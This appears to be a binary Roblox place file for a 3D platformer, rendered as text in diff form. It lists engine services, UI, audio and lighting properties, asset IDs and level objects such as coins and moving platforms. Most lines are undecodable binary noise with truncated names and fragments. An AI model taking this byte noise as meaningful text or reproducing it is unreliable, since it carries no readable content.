+|t@gC
+xEh@
+do(@
+D?`@
+/m|T
+q6'}
+HA&M
+WwA<
+*}A"
+kDSqR
+Z@e{
+$6qnk
+)~?"z
+@X#T
+Y_@Z<
+8~?:
+<@kD
+*r'@rf
+g@N*
+`M{?
+CSGPHSJ
+y}u?
+@??l[
+z1?-=y
+='9{
+0=I=
+>xRj
+3|?h
+?`x)>2
+{Ow?
++Q{?<
+#]n<
+!?_<
+?(c|?
+e=WL~
+[9
+j
+GJR?[
+f?;W{X
+iX`?
+nK?0M
+`@H?
+"?GL
+q\>6
+G P?'B
++P?z
+u#|?@
+9*G?H.
+K?=^
+w?d8
+4w?^
+?@r,
+:6=?
+>Y=|
+@??C}
+zm7?
+@??"?
+z.?F
+qTx4?H
+^%|T
+7?>n
+bM?>
+h?F-}H
+qBB~?q5C
+?~e8
+q70d?E+
+q-R~?
+f$)q
+qD50
+?,9R=x
+'?Ee
+?zVv?
+Rt?0
+?%rg?v
+n]u?`[
+s?c0
+t.f?
+FGoT
+[}&?$
+i5?nUm
+4?r\
+|&G$
+{1?R
+P>8i
+qSA]
+Py/?.
+Go?nU
+D]u0
+4Rs?
+"hC?$
+I??6
+?8!U?^M$
+4?0fv
+?c)>
+?}14
+?{h8
+q*vs?E
+?B%9?
+d@b@
+?:*c
+}|X@
+?:o_?
+?Wi6
+q0=|
+~1?g:y
+?NU1?
+V>H@
+1[E?$
+[E??
+q Xl
+AW|0
+zeu0
+?}F+
+b2W/
+?2~#
+?{rO
+zU"?
+N? ED
+qWZ/
+'?d"w?h
+??Ls
+Z{?j
+?g8h?)
+?r{$?
++c?Q
+?d7(
+":AO
+?DJL<
+Fqn?q
+3hu0
+~?T\R
+19|u<
+0W?2
+`?V@X
+:;?4
+H:Gxbq(
+}?yL
+?L7C$
+4k?J
+<~?KI
+q@C~?
+I~?G
+q&j}?
+q0,d?
+*|?5
+?6-x?LJ(H
+?)*2>0Kd?
+n}?F~v?
+q;9|?
+z?d,
+S\,|?
+e>B}
+?txk
+>M%o
+?"cF>
+?8r)
+&l|?
+;8O0
+E?0M
+ u1H
+1z0n
+`p:u
+m[od
+yCH~
+D_=?v
+9?HX
+9?exk
+u?ah
+bzuP
+^T|H
+T/:7
+t?|u
+~?`4O
+1SbNx?CP1b
+>eJE?g
+cS?N
+m?>?{
+CSGPHS
+6kB{
+R7@C
+:7BC
+ZBrZ
+)BSR
+|yB-b
+idBio
+idB0,
+|A1,
+FA `
+|yBT
+jkBf3
+(B]T
+(BbT
+CAy&
+(BKu
+p8Ah
+v3Bko
+6kBJ
+6kBQ
+CAc&
+?BZ7
+Z7Ou
+WB}Xj7
+WBDO
+)BF*
+AbAe
+dj7S3
+CAS3
+WBSR
+LBS*
+p8AT
++B1b
+BPO;
+BUO;AR
+yBko
++B-L
+AbABCp
+CAi3
+ABT~
+!17*
+idBy
+ABbs
+?Bd&
+jkBU3
+#qe3
+CAJu
+dj7y&
+?BT3
+?Bh3
+w:B>O
+p8A_
+SOO;A
+QO;A
+nBGO;
+GB.7
+WBBO
+4BSR
+WB=O
+WB@O
+LBio
+|yB6[
++Bbs
+|yB1b
+SB-b
+d2qC[
+0A,T
+D "R
+GT "S
+p "T
+d "=
+L "`
+/D(S
+,.">
+P-"'
+T)"X
+n\("6
+@ "8
+<$ "=
+< ">
+8"S
+T-"e
+|1"}
+p2"l
+T S0
+kP@"
+< "@
+Al9S
+DI",
+HT"
+|D"!
+dJ"3
+|."C
+8MbH
+XD"R
+[D1bT
+$.SY
+N|;SY
+PZ"Y
+\M"q
+|P"\
+dT]b_
+X."a
+T."P
+d1"%
+l0",
+t4"j
+|P"k
+(k"~
+Dn"Q
+CSGPHS
+P@Ar
+6JA\
+HBF
+@ ;T
+a@ ;H
+HB^,
+A2#<
+BI $
+B6!`
+I H`
+DD HB
+CJ HB
+DH HBH
+6,,B
+qB2#
+b62#
+KH1TB
+HBGD
+P0CP
+H HB
+T.TB
+`4 &
+^4 %W
+4 5B
+4 5B
+Ch DU`?
+DU`?N
+?&P`
+>cA ?
+1?=G?
+K"e@
++6A<
+!p!H
+:aK
+SurfaceLight
+INST
+Teams
+INST#
+TeleportService
+INST
+Terrain
+INST
+TestService
+INST
+TextButton
+vINST#
+TextChatService
+INST
+TextLabel
+INST
+TimerService
+INST%
+TouchInputService
+INST
+TweenService
+INST$
+UGCAvatarService
+INST
+UICorner
+INST
+UIGradient
+INST#
+UIListLayout
+INST
+UIPadding
+INST
+UIScale
+pINST#
+UnionOperation
+INST
+VRService
+INST'
+VideoCaptureService
+INST
+VideoService
+INST'
+VirtualInputManager
+INST$
+VoiceChatService
+INST-
+WeldConstraint
+INST&
+Wire
+INST
+Workspace
+PROP_
+AnimationId
+rbxassetid://14145234694
+811710228
+81783061
+o937710
+p2254720PROP)
+AttributesSerialize
+PROP#
+Capabilities!
+PROP$
+DefinesCapabilities
+PROP
+HistoryId
+PROPF
+Name
+DoubleJump
+@Dash
+Roll
+Long
+Stun
+RecoverPROP%
+SourceAssetId
+PROP
+Tags
+PROPW
+UniqueId
+""""""PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+AssetServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+Color
+~==>~
+PROP
+Decay
+PROP
+DefinesCapabilities
+PROP
+Density
+PROP
+Glare
+PROP
+Haze
+PROP
+HistoryId
+PROP
+Name
+AtmospherePROP
+Offset
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP(
+AttributesSerialize
+PROP
+CFrame
+rrrq
+srr~~~
+PROP!
+Capabilities!
+PROP'
+DefinesCapabilities
+PROP
+HistoryId
+PROP7
+Name
+Attachment
+Center
+PhmentPROP&
+SourceAssetId
+PROP
+Tags
+PROPh
+UniqueId
+ 69=@[k}
+P"""""PROP
+Visible
+PROP
+Attack
+PROP&
+AttributesSerialize
+PROP
+Bypass
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+MakeupGain
+PROP)
+ Name
+AudioCompressor
+PessorPROP
+Ratio
+PROP
+Release
+PROP!
+SourceAssetId
+PROP
+Tags
+PROP
+Threshold
+PROP3
+UniqueId
+``YY
+""PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+MainOutputPROP
+Player
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP)
+AngleAttenuation
+PROP'
+AttributesSerialize
+PROP)
+AudioInteractionGroup
+PROP!
+Capabilities!
+PROP$
+DefinesCapabilities
+PROP^
+DistanceAttenuation
+Dhu|<
+EtNu;
+EUcZ;
+`[EX
+EYWM:
+ED&E:
+E_==:
+F7vU9
+FbqF9
+7PROP
+HistoryId
+PROPN
+Name
+PlatformAudioEmitter
+CharacterI
+8oin
+PitterPROP(
+SimulationFidelity
+PROP#
+SourceAssetId
+PROP
+Tags
+PROPX
+UniqueId
+ ^p
+""""""PROP&
+AttributesSerialize
+PROP
+Bypass
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HighGain
+PROP
+HistoryId
+PROP
+LowGain
+PROP
+MidGain
+PROP#
+MidRange
+zEPROP)
+Name
+AudioEqualizer
+PlizerPROP!
+SourceAssetId
+PROP
+Tags
+PROP3
+UniqueId
+``YY
+""PROP*
+AttributesSerialize
+PROP
+Bypass
+PROP
+Capabilities!
+PROP!
+DefinesCapabilities
+PROP
+HistoryId
+PROP-
+Name
+AudioFader
+MainFaderPROP!
+SourceAssetId
+PROP
+Tags
+PROP@
+UniqueId
+```YYY
+"""PROP
+Volume
+PROP
+AngleAttenuation
+PROP"
+AttributesSerialize
+PROP$
+AudioInteractionGroup
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP#
+DistanceAttenuation
+PROP
+HistoryId
+PROP
+Name
+MainListenerPROP!
+SimulationFidelity
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP
+Asset
+rbxa
+id://18445857860
+291481519T
+61150915p
+?7638
+_13141
+195447028
+25066993
+?880
+?758p
+O8182
+445857860PROP(
+AttributesSerialize
+PROP
+AutoLoad
+PROP!
+Capabilities!
+PROP'
+DefinesCapabilities
+PROP
+HistoryId
+PROP&
+LoopRegion
+0`jG
+`jGPROP
+Looping
+PROP
+Name
+HumPlayer
+JumpAlt;
+Double
+0AltX
+@Roll
+Dash
+Long-
+WallImpact
+Floor
+PickupCoin
+PlayerPROP,
+PlaybackRegion
+0`jG
+`jGPROP>
+PlaybackSpeed
+?PROP&
+SourceAssetId
+PROP1
+Tags
+AutoPlayAudio
+PAudioPROP!
+TimePosition
+PROPe
+UniqueId
+P"""""PROP>
+Volume
+}3333
+4444
+4PROP
+Attachment0
+PROP
+Attachment1
+PROP"
+AttributesSerialize
+PROP
+Brightness
+PROP
+Capabilities!
+PROP&
+Color
+PROP
+CurveSize0
+PROP
+CurveSize1
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP
+FaceCamera
+PROP
+HistoryId
+PROP
+LightEmission
+PROP
+LightInfluence
+PROP#
+Name
+PlatformPathBeamPROP
+Segments
+PROP
+SourceAssetId
+PROP
+Tags
+PROP.
+Texture
+rbxassetid://18249522115PROP
+TextureLength
+PROP
+TextureMode
+PROP
+TextureSpeed
+PROP&
+Transparency
+PROP#
+UniqueId
+"PROP
+Width0
+PROP
+Width1
+PROP
+ZOffset
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP
+HistoryId
+PROP
+Intensity
+PROP
+Name
+BloomPROP
+Size
+PROP
+SourceAssetId
+PROP
+Tags
+PROP
+Threshold
+PROP#
+UniqueId
+"PROP*
+AdorneeName
+HumanoidRootPartPROP"
+AttributesSerialize
+PROP'
+BackgroundColor3
+PROP)
+BackgroundTransparency
+?PROP
+BubbleDuration
+PROP
+BubblesSpacing
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP
+Font
+dPROP6
+FontFace
+rbxassetid://16658221428
+PROP
+HistoryId
+PROP-
+LocalPlayerStudsOffset
+PROP
+MaxBubbles
+PROP
+MaxDistance
+PROP
+MinimizeDistance
+PROP*
+Name
+BubbleChatConfigurationPROP
+SourceAssetId
+PROP
+Tags
+PROP
+TailVisible
+PROP!
+TextColor3
+PROP
+TextSize
+(PROP#
+UniqueId
+"PROP"
+VerticalStudsOffset
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP'
+Name
+CSGDictionaryServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROPB
+CFrame
+PROP
+CameraSubject
+PROP
+CameraType
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+FieldOfView
+PROP
+FieldOfViewMode
+PROP
+Focus
+BjPPROP
+HeadLocked
+PROP
+HeadScale
+PROP
+HistoryId
+PROP
+Name
+CameraPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP
+VRTiltAndRollEnabled
+PROP"
+AttributesSerialize
+PROP&
+BackgroundColor3
+PROP)
+BackgroundTransparency
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROPU
+FontFace *
+rbxasset://fonts/families/BuilderSans.json
+-Bold.otfPROP
+HistoryId
+PROP,
+HoverBackgroundColor3
+PROP+
+Name
+ChannelTabsConfigurationPROP,
+SelectedTabTextColor3
+PROP
+SourceAssetId
+PROP
+Tags
+PROP!
+TextColor3
+~__`~__`~__`PROP
+TextSize
+$PROP&
+TextStrokeColor3
+PROP)
+TextStrokeTransparency
+?PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+BubbleChatEnabled
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+IsAutoMigrated
+PROP
+LoadDefaultChat
+PROP
+Name
+ChatPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+AutocompleteEnabled
+PROP'
+BackgroundColor3
+PROP)
+BackgroundTransparency
+?PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP6
+FontFace
+rbxassetid://16658221428
+PROP
+HistoryId
+PROP
+KeyboardKeyCode
+/PROP,
+Name
+ChatInputBarConfigurationPROP(
+PlaceholderColor3
+~eef~eef~eefPROP
+SourceAssetId
+PROP
+Tags
+PROP
+TargetTextChannel
+PROP!
+TextColor3
+PROP
+TextSize
+$PROP'
+TextStrokeColor3
+PROP)
+TextStrokeTransparency
+?PROP#
+UniqueId
+"PROP!
+ AttributesSerialize
+PROP'
+BackgroundColor3
+PROP)
+BackgroundTransparency
+333333
+?PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP6
+FontFace
+rbxassetid://16658221428
+PROP
+HeightScale
+PROP
+HistoryId
+PROP!
+ HorizontalAlignment
+PROP*
+Name
+ChatWindowConfigurationPROP
+SourceAssetId
+PROP
+Tags
+PROP!
+TextColor3
+PROP
+TextSize
+$PROP'
+TextStrokeColor3
+PROP)
+TextStrokeTransparency
+?PROP#
+UniqueId
+"PROP
+VerticalAlignment
+PROP
+WidthScale
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP$
+Name
+CollectionServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Brightness
+PROP
+Capabilities!
+PROP
+Contrast
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP
+HistoryId
+PROP"
+Name
+ColorCorrectionPROP
+Saturation
+PROP
+SourceAssetId
+PROP
+Tags
+PROP
+TintColor
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP'
+Name
+ContextActionServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP!
+Name
+CookiesServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+MaxItems
+PROP
+Name
+DebrisPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP&
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+Color3
+PROP
+DefinesCapabilities
+PROP
+Face
+PROP
+HistoryId
+PROP%
+Name
+Decal
+LegitBasePROP!
+SourceAssetId
+PROP
+Tags
+PROPR
+Texture
+rbxasset://t
+s/SpawnLocation.png
+id://137276802718496PROP
+Transparency
+PROP3
+UniqueId
+PROP
+ZIndex
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP
+FarIntensity
+PROP
+FocusDistance
+PROP
+HistoryId
+PROP
+InFocusRadius
+PROP
+Name
+DepthOfFieldPROP
+NearIntensity
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP(
+AttributesSerialize
+PROP"
+Capabilities!
+PROP(
+DefinesCapabilities
+PROP!
+HistoryId
+PROP
+Name
+LevelArt
+ayout
+BlankArea
+ColorBlocking1
+PSteps
+2Jum
+Particle
+$FlowerVFX
+Set_Dressing
+Foliage
+IllumColumn
+Aighti
+ARockJ
+Sky_DecorW
+SkyMeshes
+GameplayH
+CoinPickups
+MovingPlatforms"
+heckpoint
+eOneWay@
+PAudio
+Busses
+World
+pEffects
+RScrip
+pActions:
+QAnima
+QSound9
+ZRemot
+?Objf
+pUtilityG
+Instance}
+TypeValid
+emplate Library
+Palette ItemsPROP)
+SourceAssetId
+PROP
+Tags
+PROP
+UniqueId
+&,25JK
+1:ABPRbr
+ &CDGHPQUV]`r`
+P"""""PROP
+Active
+PROP#
+AnchorPoint
+PROP'
+AttributesSerialize
+PROP
+AutoLocalize
+PROP!
+AutomaticSize
+PROP2
+BackgroundColor3
+PROP5
+BackgroundTransparency
+PROP<
+BorderColor3
+PROP
+BorderMode
+PROP#
+BorderSizePixel
+PROP!
+Capabilities!
+PROP
+ClipsDescendants
+PROP#
+DefinesCapabilities
+PROP
+Draggable
+PROP
+HistoryId
+PROP
+Interactable
+PROP
+LayoutOrder
+PROPX
+Name
+ListFrame
+Action
+Conten
+Inpu
+ButtonDisplayFramePROP%
+NextSelectionDown
+PROP%
+NextSelectionLeft
+PROP&
+NextSelectionRight
+PROP#
+NextSelectionUp
+PROP,
+Position
+PROP)
+RootLocalizationTable
+PROP
+Rotation
+PROP
+Selectable
+PROP)
+SelectionBehaviorDown
+PROP)
+SelectionBehaviorLeft
+PROP*
+SelectionBehaviorRight
+PROP'
+SelectionBehaviorUp
+PROP
+SelectionGroup
+PROP(
+SelectionImageObject
+PROP"
+SelectionOrder
+PROP.
+Size
+PROP"
+SizeConstraint
+PROP"
+SourceAssetId
+PROP
+Style
+PROP
+Tags
+PROPR
+UniqueId
+`(+-24
+"""""PROP
+Visible
+PROP
+ZIndex
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP"
+Name
+GamePassServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP&
+Name
+GuidRegistryServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP
+ActuatorType
+PROP(
+AngularResponsiveness
+PROP
+AngularSpeed
+PROP"
+AngularVelocity
+PROP
+Attachment0
+PROP
+Attachment1
+PROP&
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+Color
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP
+HistoryId
+PROP
+LimitsEnabled
+PROP
+LowerAngle
+PROP'
+MotorMaxAcceleration
+PROP!
+MotorMaxTorque
+PROP*
+Name
+HingeConstraint
+PraintPROP
+Radius
+|{3[3
+PROP
+Restitution
+PROP!
+ServoMaxTorque
+PROP+
+SoftlockServoUponReachingTarget
+PROP!
+SourceAssetId
+PROP
+Tags
+PROP
+TargetAngle
+PROP3
+UniqueId
+``YY
+""PROP
+UpperAngle
+PROP
+Visible
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+HttpEnabled
+PROP
+Name
+HttpServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP
+Active
+PROP+
+AnchorPoint
+PROP'
+AttributesSerialize
+PROP
+AutoLocalize
+PROP!
+AutomaticSize
+PROPT
+BackgroundColor3
+LLPROP/
+BackgroundTransparency
+PROP=
+BorderColor3
+PROP
+BorderMode
+PROP$
+BorderSizePixel
+PROP"
+Capabilities
+PROP!
+ClipsDescendants
+PROP$
+DefinesCapabilities
+PROP
+Draggable
+PROP
+HistoryId
+PROPt
+Image
+rbxasset://textures/ui/Controls/key_single.png)2
+PxboxX-
+TouchTapIcon4
+Pe.pngPROP%
+ImageColor3
+PROP$
+ImageRectOffset
+PROP#
+ImageRectSize
+PROP%
+ImageTransparency
+PROP
+Interactable
+PROP
+LayoutOrder
+PROPi
+Name
+ImageLabel
+KeyboardBorder
+Gamepad
+Touch
+MouseImageLabelPROP&
+NextSelectionDown
+PROP&
+NextSelectionLeft
+PROP'
+NextSelectionRight
+PROP$
+NextSelectionUp
+PROP,
+Position
+PROP
+ResampleMode
+PROP*
+RootLocalizationTable
+PROP
+Rotation
+PROP
+ScaleType
+PROP
+Selectable
+PROP)
+SelectionBehaviorDown
+PROP)
+SelectionBehaviorLeft
+PROP*
+SelectionBehaviorRight
+PROP'
+SelectionBehaviorUp
+PROP
+SelectionGroup
+PROP)
+SelectionImageObject
+PROP"
+SelectionOrder
+PROP"
+Size
+802H0G
+<0>H@PROP"
+SizeConstraint
+PROP
+SliceCenter
+PROP"
+SliceScale
+PROP#
+SourceAssetId
+PROP
+Tags
+PROP+
+TileSize
+PROPU
+UniqueId
+5789:
+""""""PROP
+Visible
+PROP
+ZIndex
+PROP#
+AllowClientInsertModels
+PROP!
+AllowInsertFreeModels
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+InsertServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP'
+AttributesSerialize
+PROP!
+Capabilities!
+PROP"
+DefinesCapabilities
+PROP
+HistoryId
+PROP-
+Name
+FilteredSelection
+'PctionPROP"
+SourceAssetId
+PROP
+Tags
+PROPP
+UniqueId
+]]]]
+####
+""""
+QQQQPPPP
+PROP
+Ambient
+PROPg
+AttributesSerialize
+RBX_OriginalTechnologyOnFileLoad
+UseCurrentLighting
+PROP
+Brightness
+PROP
+Capabilities!
+PROP(
+ColorShift_Bottom
+PROP%
+ColorShift_Top
+|yyz|
+PROP
+DefinesCapabilities
+PROP&
+EnvironmentDiffuseScale
+~fffPROP'
+EnvironmentSpecularScale
+PROP#
+ExposureCompensation
+PROP
+FogColor
+PROP
+FogEnd
+PROP
+FogStart
+PROP!
+GeographicLatitude
+PROP
+GlobalShadows
+PROP
+HistoryId
+PROP
+LightingStyle
+PROP
+Name
+LightingPROP%
+OutdoorAmbient
+PROP
+Outlines
+PROP%
+PrioritizeLightingQuality
+PROP
+ShadowSoftness
+PROP
+SourceAssetId
+PROP
+Tags
+PROP
+Technology
+PROP
+TimeOfDay
+15:00:00PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP&
+Name
+LocalizationServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+InstancePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+LuaWebServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP!
+AsphaltName
+AsphaltPROP"
+AttributesSerialize
+PROP
+BasaltName
+BasaltPROP#
+BrickName
+MetalPanelsPROP
+Capabilities!
+PROP!
+CardboardName
+PboardPROP
+CarpetName
+CarpetPROP$
+CeramicTilesName
+PTilesPROP%
+ClayRoofTilesName
+PTilesPROP#
+CobblestoneName
+PstonePROP#
+ConcreteName
+ConcretePROP%
+CorrodedMetalName
+PMetalPROP#
+CrackedLavaName
+PdLavaPROP
+DefinesCapabilities
+PROP$
+DiamondPlateName
+PPlatePROP
+FabricName
+FabricPROP
+FoilName
+FoilPROP!
+GlacierName
+GlacierPROP!
+GraniteName
+GranitePROP
+GrassName
+GrassPROP
+GroundName
+GroundPROP
+HistoryId
+PROP
+IceName
+IcePROP"
+LeafyGrassName
+PGrassPROP!
+LeatherName
+LeatherPROP!
+LimestoneName
+PstonePROP
+MarbleName
+MarblePROP
+MetalName
+MetalPROP
+MudName
+MudPROP"
+Name
+MaterialServicePROP#
+PavementName
+PavementPROP
+PebbleName
+PebblePROP!
+PlasterName
+PlasterPROP!
+PlasticName
+PlasticPROP
+RockName
+RockPROP$
+RoofShinglesName
+PnglesPROP
+RubberName
+RubberPROP
+SaltName
+SaltPROP
+SandName
+SandPROP!
+SandstoneName
+PstonePROP
+SlateName
+SlatePROP%
+SmoothPlasticName
+PasticPROP
+SnowName
+SnowPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP
+Use2022MaterialsXml
+PROP
+WoodName
+WoodPROP"
+WoodPlanksName
+PlanksPROP*
+AttributesSerialize
+PROP#
+BaseMaterial
+PPROP
+Capabilities!
+PROPF
+ColorMap
+rbxassetid://14710478118
+n374650
+3455038451PROP&
+CustomPhysicalProperties
+PROP!
+DefinesCapabilities
+PROP
+HistoryId
+PROP&
+MaterialPattern
+PROP8
+MetalnessMap
+rbxassetid://13455044763PROPE
+Name
+Concrete_Template_Floors
+Walls
+MetalPanelsPROPG
+NormalMap
+rbxassetid://14710478245
+n374909
+3454983213PROPJ
+RoughnessMap
+rbxassetid://14710466405
+n374719
+3455040077PROP!
+SourceAssetId
+PROP#
+StudsPerTile
+PROP
+Tags
+PROPE
+TexturePack
+rbxassetid://14711085086
+3455044851PROPB
+UniqueId
+```YYY
+"""PROP&
+AeroMeshData
+PROP*
+Anchored
+PROP-
+AttributesSerialize
+PROP%
+AudioCanCollide
+PROP-
+BackParamA
+PROP(
+BackParamB
+PROP%
+BackSurface
+PROP*
+BackSurfaceInput
+PROP/
+BottomParamA
+PROP*
+BottomParamB
+PROP'
+BottomSurface
+PROP-
+BottomSurfaceInput
+PROP
+CFrame
+;lu9
+#B?V#k;I
+F? ,
+=vNw?
+? la;
+J#?2
+=EKD
+|@=(
+ Rg?A
+H<"Cg
+
+?^`]
+|
+]=z\
+9=(<|?
+gim?
+i?k'
+;_CZ?H
+Z/i?
+=5i?
+s=m9
+?yVM
+?ELv
+?-R!={
+=Sv8<
+;8g~?
+7ah>r
+=Y(y
+\Ze?.
+?!U;;
+|re=
+=$p=<
+[;r
+Ah&?
+LU?'
+?t@]=
+9Pe^?
+ 3|?
+=~"^
+S:8>ne|;W
+S?-y
+M,T?
+%N?_
+z?T]s
+=&N\
+7Cu;=
+?%c
+@V;?
+R=sy
+>_?g
+\Sl?
+ bo<
+Q?B7r
+k}?Khx=
+>?2n
+P <,
+ir?4
+?z!R
+$_O?
+Ij?FU
+?|p8
+Q\*9
+?K76
+=d>g
+8 M?<
+
+?
+:>I+?
+=/B_
+=&0t
+hl(x;
+:!QX
+4u2>
+RU=C
+<$:X
+VaX.
+?qw
+`+?oM
+z?{i
+!wx?NY
+lds?
+{=H[
+#?_k
+E>p&
+Czj?
+K~?X
+@j]?
+lKb?
+e~yB
+C@:2
+!$(-
+OJ@UBBP%,.
+OKV>1
+$<;
+htp|
+UJN95+*(
+HSMVZV
+Y}dg
+Ow~zs
+X23JHD8LYY*
+l01-
+Tpso
+|~GX
+@ynk|M
+Hp:(j
+oo/_
+B 9t,
+d~IR
+f!)$f
+gzAD
+(>dF
+0@v\
+nrtGGFGFII
+pssopo
+FEFFF
+Ya[[
+OOPRN3SQRQR2/33OPGONOONONPM.-MLHLMNLN~
+9(]MO
+ 3(####RR
+YPvda;z0/Y
+t|U'=
+_3/3u
+.R dp2
+^rl,
+X,t|
+L:`b
+jjjj
+
+{}uxxz
+zk&(+.+)*
+ KKJJEJ
+yw}i
+t}~ussjmu
+++,0.
+|nm{
+{mgowxm
+5A$"
+GjJ6
+@|<|
+pf:l
+zj$j
+PROP)
+CanCollide
+PROP)
+CanQuery
+PROP(
+CanTouch
+PROP+
+Capabilities!
+PROP*
+CastShadow
+PROP;
+CollisionGroup
+Default
+PPfaultPROP*
+CollisionGroupId
+PROP
+Color3uint8
+PROP.
+CustomPhysicalProperties
+PROP)
+DefinesCapabilities
+PROP/
+DoubleSided
+PROP=
+EnableFluidForces
+PROP/
+FluidFidelityInternal
+PROP.
+FrontParamA
+PROP)
+FrontParamB
+PROP&
+FrontSurface
+PROP+
+FrontSurfaceInput
+PROP$
+HasJointOffset
+PROP$
+HasSkinnedMesh
+PROP2
+HistoryId
+PROP
+InitialSize
+`S00
+!3S'
+`D&&
+}}},},
+FFFTFT
+TTF4
+PROP/
+JointOffset
+PROP-
+LeftParamA
+PROP(
+LeftParamB
+PROP%
+LeftSurface
+PROP*
+LeftSurfaceInput
+PROP
+Locked
+PROP%
+Massless
+PROPE
+Material
+"PP@P
+PROPI
+MaterialVariantS
+oized
+etalPanels
+PROPR
+MeshId
+rbxassetid://13676363152
+o561060
+#o689934H
+5091435687
+537671238
+49157623
+8415733349
+28605218
+39861915
+_50289 "
+400300196
+2931604
+o814322
+5091435687PROP7
+Name
+EC_Foliage_Fern_A
+Ivy_Hanging_a
+RockLarge
+TSmall
+YSpher
+Pblonx
+@BASE
+@GLOW
+Base_oneway
+MeshPart
+jHostas
+Ping_aPROPX
+PhysicalConfigData
+PROP%
+PhysicsData
+PROP
+PivotOffset
+;321
+1}z{
+8||{
+@{{z{
+}}}v}v
+<<|K
+@|{{|
+1|}|/
+o||}{}9
+9'Enn
+o??XADGJ
+!#%')+-/34
+~4:>
+BXd6
+;%fL
+pBc*
+Tx4K
+!2!c
+xEb >[6
+-GA{AAA|
+KbbAA-A
+m#!zl
+I}}NN0
+Tn.:
+!3333333j
+N,\x
+|`|||H
+|||||||b
+v.PROPv
+AttributesSerialize
+angularSpeed
+delay
+ $@,
+PROP,
+Capabilities!
+PROP)
+DefinesCapabilities
+PROP4
+HistoryId
+PROP'
+LevelOfDetail
+PROP:
+ModelMeshCFrame
+PROP'
+ModelMeshData
+PROP2
+ModelMeshSize
+PROP8
+ModelStreaming
+PROP4
+Name
+DoubleJump
+FernA
+Ivy_Hanging_a
+llumin_Column
+RoSphere
+pRoBlonk
+MovingPlatform
+2er_
+/_a)
+?way
+JCoin
+PModelt
+iHostas
+Ping_aPROP)
+NeedsPivotMigration
+PROPO
+PrimaryPart
+PROP
+ScaleFactor
+((vv#[[
+BNNN
+&PROP
+SourceAssetId
+PROP
+Tags
+_Brushtool
+MovingPlatform>
